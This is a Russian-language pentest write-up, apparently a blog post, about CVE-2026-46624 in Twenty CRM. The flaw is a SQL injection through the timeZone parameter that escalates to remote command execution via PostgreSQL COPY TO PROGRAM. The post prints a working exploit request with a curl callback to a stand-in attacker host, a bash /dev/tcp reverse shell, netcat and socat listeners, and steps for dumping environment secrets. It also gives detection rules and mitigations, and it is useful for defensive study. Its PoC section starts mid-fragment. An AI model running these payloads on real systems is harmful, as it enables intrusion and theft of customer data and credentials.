РАЗБОР
На проверке
CVE-2026-46624: SQLi→RCE в Twenty CRM через COPY TO PROGRAM
Режим чтения
[ обложка статьи ]
Каждый раз, когда на пентесте вижу параметр
timeZone в REST API - первым делом подставляю одинарную кавычку и смотрю на ответ. В семи из десяти бизнес-приложений на PostgreSQL-стеке этот параметр уходит в SQL без параметризации. CVE-2026-46624 в Twenty CRM - ровно этот сценарий: CVSS 9.9, полная цепочка от SQL injection через timeZone в groupBy endpoint до выполнения произвольных команд ОС через COPY TO PROGRAM (при подключении к PostgreSQL от суперпользователя). Ниже - разбор от fingerprinting до reverse shell со всеми предусловиями и ограничениями.Суть уязвимости CVE-2026-46624
Twenty CRM - open-source CRM-платформа с 28 000+ звёзд на GitHub и управляемым облачным сервисом. В версиях с 1.7.7 по 1.16.7 полеtimeZone внутри query-параметра group_by в REST API напрямую интерполируется в сырой SQL-запрос. Без экранирования, без параметризации, без валидации на стороне приложения - тупо конкатенация строк. Если PostgreSQL-подключение использует суперпользователя - а при стандартной docker-compose установке Twenty CRM подключение идёт от postgres с PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default" - любой аутентифицированный пользователь workspace получает RCE на сервере базы данных.По данным NVD, оценка - CVSS 9.9 (CRITICAL) с вектором
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. Разберём каждый компонент, потому что тут есть нюансы:- PR:L - нужна минимальная аутентификация: любой member workspace, JWT-токен
- AC:L - низкая сложность: никаких race condition, специальных конфигураций или timing-зависимостей
- S:C (Changed Scope) - самый показательный элемент. Атакующий входит через веб-приложение (один security domain), а выходит на уровень ОС через PostgreSQL (другой security domain). Именно Changed Scope поднимает CVSS с ~9.1 до 9.9
- C:H / I:H / A:H - полный impact по конфиденциальности, целостности и доступности
Инъекция SQL через timeZone в PostgreSQL
ПараметрыtimeZone, locale, currency - одни из самых «вкусных» целей при пентесте API. Разработчики воспринимают их как «системные» значения и редко прогоняют через те же валидаторы, что и пользовательский ввод. Мол, таймзона - это же не имя пользователя, зачем её фильтровать? В PostgreSQL таймзона подставляется в конструкцию AT TIME ZONE 'значение'. Если значение формируется через строковую конкатенацию - получаем прямой путь к SQLi.Серверный код Twenty CRM формирует запрос вида
date_trunc('day', "createdAt" AT TIME ZONE '${userInput}'). Всё содержимое поля timeZone из query-параметра group_by становится частью SQL-выражения. PostgreSQL нативно поддерживает stacked queries - несколько выражений через ; - поэтому после закрытия кавычки можно инжектировать любую SQL-команду.Тут стоит держать в голове разницу между СУБД: многие MySQL-клиентские библиотеки по умолчанию отключают multi-statement execution (например, PDO без явного
MYSQL_ATTR_MULTI_STATEMENTS), тогда как протокол PostgreSQL на уровне libpq допускает несколько statements по умолчанию. На пентесте CRM на PostgreSQL-стеке эта разница в дефолтах - ваш лучший друг.Предусловия эксплуатации
Перед воспроизведением - обязательный чек-лист. Без каждого пункта цепочка SQLi→RCE не работает.Версия Twenty CRM: строго от 1.7.7 до 1.16.7. Ранние версии не содержат уязвимый endpoint, поздние - пропатчены. Проверяйте через HTTP-заголовок
X-Twenty-Version или метаданные GraphQL introspection.Аутентификация: нужен валидный JWT-токен любого пользователя workspace. На self-hosted - invited member, на облаке - зарегистрированный пользователь. Уязвимость не является unauthenticated, отсюда PR:L в CVSS-векторе. Без токена - даже SQLi не достигается.
PostgreSQL superuser: ключевое ограничение для RCE-части. Команда
COPY TO PROGRAM требует привилегий суперпользователя. Стандартная docker-compose конфигурация Twenty CRM использует postgres:postgres - суперпользователь по умолчанию. Если администратор создал отдельный role с минимальными правами, PostgreSQL вернёт ERROR: must be superuser to COPY to or from an external program. SQLi при этом по-прежнему работает: чтение и модификация данных CRM доступны, но shell - нет.Stacked queries: PostgreSQL поддерживает их нативно, дополнительная настройка не требуется.
Исходящая сетевая связность: для reverse shell серверу БД нужна возможность установить TCP-соединение к attacker-controlled хосту. В Docker-окружении - обычно не проблема. В продакшене с egress-фильтрацией - потребуется DNS-канал или запись результатов в таблицу.
По данным CISA-ADP: SSVC Decision - «Track*» (мониторить, готовить патч). PoC существует, автоматизация невозможна (Automatable: no), technical impact - total. EPSS составляет 0.0048 (percentile 0.4049, ниже медианы). Низкий EPSS при CVSS 9.9 - прямое следствие предусловий: аутентификация + суперпользователь PostgreSQL ограничивают массовую автоматизированную эксплуатацию. По-человечески: уязвимость страшная, но ботнет на ней не построишь.
Пошаговый PoC: от SQLi к удалённому выполнению кода
). Но boolean-based техники доступны через stacked query после закрытия кавычки - как показано выше через
CASE WHEN + условный pg_sleep.Шаг 3 - OOB-подтверждение RCE через COPY TO PROGRAM. HTTP-запрос для подтверждения выполнения команд через OOB HTTP-callback (curl тут используется как примитив для генерации HTTP-запроса, а не как reverse shell):
HTTP:
GET /api/objects/companies?group_by={"field":"createdAt",
"timeZone":"UTC');COPY (SELECT '') TO PROGRAM
'curl https://ATTACKER.oastify.com/rce-confirmed';--"} HTTP/1.1
Host: target.example.com
Authorization: Bearer <JWT_TOKEN>
curl/wget годятся только для OOB-callback подтверждения RCE - это не reverse shell примитивы. Для интерактивного shell используйте отдельный payload: bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1', на принимающей стороне - nc -lvnp 4444 или socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash.Нюанс из практики: если
bash недоступен в контейнере (minimal Docker image), используйте Python3 reverse shell через COPY TO PROGRAM - Python3 почти всегда присутствует в образе Twenty CRM. Альтернативы: perl -e 'use Socket;...', nc -e /bin/sh ATTACKER_IP 4444 или ncat --exec /bin/sh ATTACKER_IP 4444. Но тут есть подводный камень: опция -e в классическом netcat-traditional доступна только при компиляции с флагом GAPING_SECURITY_HOLE (название говорит само за себя) и отсутствует в большинстве Alpine/minimal Docker-образов. nmap-ncat тоже редко предустановлен. Python3 reverse shell - самый надёжный вариант.После получения shell вы работаете от имени пользователя ОС, под которым запущен PostgreSQL (обычно
postgres). Первые команды: id, uname -a, env (переменные окружения с APP_SECRET, REDIS_URL и другими секретами), cat /proc/1/cgroup (определение, находитесь ли вы в контейнере).Маппинг на MITRE ATT&CK
Цепочка CVE-2026-46624 покрывает несколько тактик:| Тактика | Техника | Роль в цепочке |
|---|---|---|
| Initial Access | Exploit Public-Facing Application (T1190) | Эксплуатация SQLi в REST API Twenty CRM |
| Execution | Unix Shell (T1059.004) | Выполнение команд через COPY TO PROGRAM |
| Privilege Escalation | Exploitation for Privilege Escalation (T1068) | Переход от привилегий CRM-пользователя к shell ОС |
| Persistence | SQL Stored Procedures (T1505.001) | Создание PostgreSQL-функции для повторного доступа |
| Persistence | Web Shell (T1505.003) | Запись web shell через RCE в директорию приложения |
| Collection | Databases (T1213.006) | Извлечение клиентских данных CRM |
| Discovery | System Information Discovery (T1082) | id, uname -a, env после получения shell |
| Discovery | File and Directory Discovery (T1083) | Обзор файловой системы для lateral movement |
Для CRM-систем Collection (T1213.006) часто и есть конечная цель: клиентская база, контакты, сделки, внутренняя переписка - всё это монетизируется напрямую или используется для целевого фишинга клиентов организации. Но RCE на сервере БД открывает и другие двери: lateral movement по сети, доступ к смежным сервисам через переменные окружения (Redis, SMTP, облачные credentials).
Детектирование CVE-2026-46624
Логи PostgreSQL - главный источник. Включитеlog_statement = 'all' или как минимум log_min_duration_statement = 0 для полного логирования. Ищите запросы, содержащие COPY + TO PROGRAM - легитимное использование этой конструкции в контексте CRM практически исключено. Вызовы pg_sleep внутри AT TIME ZONE - маркер time-based SQLi на стадии разведки.Мониторинг REST API. На уровне WAF или reverse proxy отслеживайте запросы к
group_by endpoint, где значение timeZone содержит спецсимволы: ', ;, --, COPY, PROGRAM. Нормальный timeZone - это строка вроде UTC, America/New_York, Europe/Moscow. SQL-синтаксис в этом поле - однозначная аномалия.Сетевая активность. Исходящие TCP/HTTP-соединения от процесса
postgres к внешним хостам - критический сигнал. PostgreSQL не должен инициировать соединения к произвольным IP. Такие соединения почти наверняка - результат COPY TO PROGRAM с curl/wget (OOB-callback, загрузка или запись файлов) либо активного reverse shell через bash, python3, nc.
YAML:
# Sigma-правило для детектирования COPY TO PROGRAM
title: PostgreSQL COPY TO PROGRAM Abuse
logsource:
product: postgresql
service: application
detection:
selection:
message|contains|all:
- 'COPY'
- 'TO PROGRAM'
condition: selection
level: critical
Митигация и патчинг
Обновление - первый и обязательный шаг. Обновите Twenty CRM до версии выше 1.16.7. Патч заменяет прямую интерполяциюtimeZone на параметризованный запрос.Понижение прав PostgreSQL - убирает RCE даже без обновления. Создайте отдельный role:
CREATE ROLE twenty_app WITH LOGIN PASSWORD '...', выдайте SELECT, INSERT, UPDATE, DELETE только на нужные таблицы, укажите его в PG_DATABASE_URL. Это блокирует COPY TO PROGRAM, но не SQLi - данные CRM по-прежнему доступны атакующему через инъекцию. Минимальные привилегии БД должны быть в дефолте, а не вспоминаться после инцидента.WAF-правила - временная мера. Блокируйте запросы к
group_by, где timeZone содержит ', ;, --. Защита хрупкая (обходится через URL-кодирование и Unicode-нормализацию), но добавляет слой до применения патча.Сетевая сегментация - ограничьте egress-трафик от PostgreSQL-контейнера. Без исходящих соединений reverse shell не заработает, а DNS-каналы потребуют от атакующего дополнительных усилий.
Twenty CRM: расширенная поверхность атаки
CVE-2026-46624 - не единственная критическая уязвимость платформы. За короткий период Twenty CRM накопила серию серьёзных проблем, и это говорит о системных недостатках в security review.CVE-2026-26720 (CVSS 9.8, CWE-94): serverless-функции в Twenty CRM до v1.15.0 выполняются через
spawn() без sandbox, с полным наследованием process.env. Любой member workspace получает RCE и доступ ко всем серверным секретам - APP_SECRET, PG_DATABASE_URL, REDIS_URL. По данным Ostorlab, цепочка позволяет установить permanent unauthenticated backdoor через webhook endpoint с PublicEndpointGuard, который безусловно возвращает true. В отличие от CVE-2026-46624, CISA-ADP оценивает эту уязвимость как Automatable: yes. Вот это уже по-настоящему страшно.CVE-2026-44729 (CVSS 8.7, CWE-79): stored XSS через загрузку HTML-файлов. Endpoints
/files/* и /file/:fileFolder/:id отдают файлы без заголовков Content-Type, Content-Disposition и X-Content-Type-Options, позволяя выполнить JavaScript в контексте домена CRM - session hijacking и account takeover.Три критические уязвимости за короткий период в одной платформе - сигнал для пентестеров: при встрече с Twenty CRM на проекте стоит закладывать дополнительное время на тестирование. Там есть где копнуть.
Отдельно про
COPY TO PROGRAM как повторяющийся примитив RCE при SQLi в PostgreSQL-бэкенде. CVE-2026-9082 в Drupal Core (CVSS 9.8) - unauthenticated SQLi на PostgreSQL. Механизм пост-эксплуатации не детализирован в публичных данных, но при наличии прав суперпользователя БД теоретически может включать COPY FROM PROGRAM для выполнения команд. CISA добавила CVE-2026-9082 в каталог Known Exploited Vulnerabilities (добавлена 22 мая 2026), EPSS оценивает вероятность эксплуатации в 0.8789 (Top 1%). Аналогичный финальный шаг описан в CVE-2026-2005 (heap buffer overflow в pgcrypto, CVSS 8.8): после privilege escalation до суперпользователя - COPY TO PROGRAM для OS-level RCE. Когда на проекте видите PostgreSQL - эта команда должна быть в чек-листе наравне с xp_cmdshell в MSSQL.Если смотреть на CVE-2026-46624 глазами атакующего - идеальная уязвимость для initial access на пентесте. Низкая сложность, стабильный payload, предсказуемый результат. Но тревожит другое: сколько open-source CRM и бизнес-приложений прямо сейчас подставляют
timeZone в SQL через конкатенацию? На практике я проверял SuiteCRM и EspoCRM на аналогичные паттерны - прямой интерполяции не обнаружил, но архитектурно ситуация хрупкая. Разработчики CRM-платформ привыкли доверять «системным» параметрам, а PostgreSQL-стек с суперпользователем по умолчанию превращает любой SQLi в RCE за один stacked query. Пока индустрия не перейдёт на least privilege для database credentials как стандарт - а не рекомендацию, которую игнорируют в docker-compose.yml - мы будем получать CVE с CVSS 9.9 из одного непараметризованного поля. Хочется отработать SQLi→RCE руками - web-задачи на HackerLab заточены под подобные цепочки.
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Поиск в обсуждении
Карта ветки
Продолжить чтение
Следующий разбор
Атаки через escape-последовательности терминала
Ещё по теме
- Статья
- Статья
Комментарии
0